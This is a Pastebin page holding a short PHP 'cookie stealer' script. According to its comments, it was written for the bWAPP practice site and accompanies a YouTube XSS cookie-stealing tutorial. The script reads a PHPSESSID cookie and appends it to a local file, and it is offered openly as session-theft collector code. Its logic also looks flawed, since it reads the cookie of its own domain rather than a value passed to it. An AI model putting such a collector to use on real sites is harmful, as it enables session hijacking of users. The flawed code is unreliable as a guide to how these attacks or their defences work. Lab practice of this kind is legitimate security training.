Advertisement
Jackk

Simple PHP Cookie Stealer

Apr 1st, 2016
2,991
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.30 KB | None | 0 0
  1. //This Cookie Stealer is for the BWAPP Website.
  2. //Created by JackkTutorials @ YouTube.com/JackkTutorials for use with Video Title: Basic XSS Guide #1 -  Alert() - Redirection - Cookie Stealing
  3.  
  4. <?php
  5. $cookie = $_COOKIE['PHPSESSID'];
  6. $file = fopen('coookie.txt', 'a');
  7. fwrite($file, $cookie . "\n\n");
  8. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement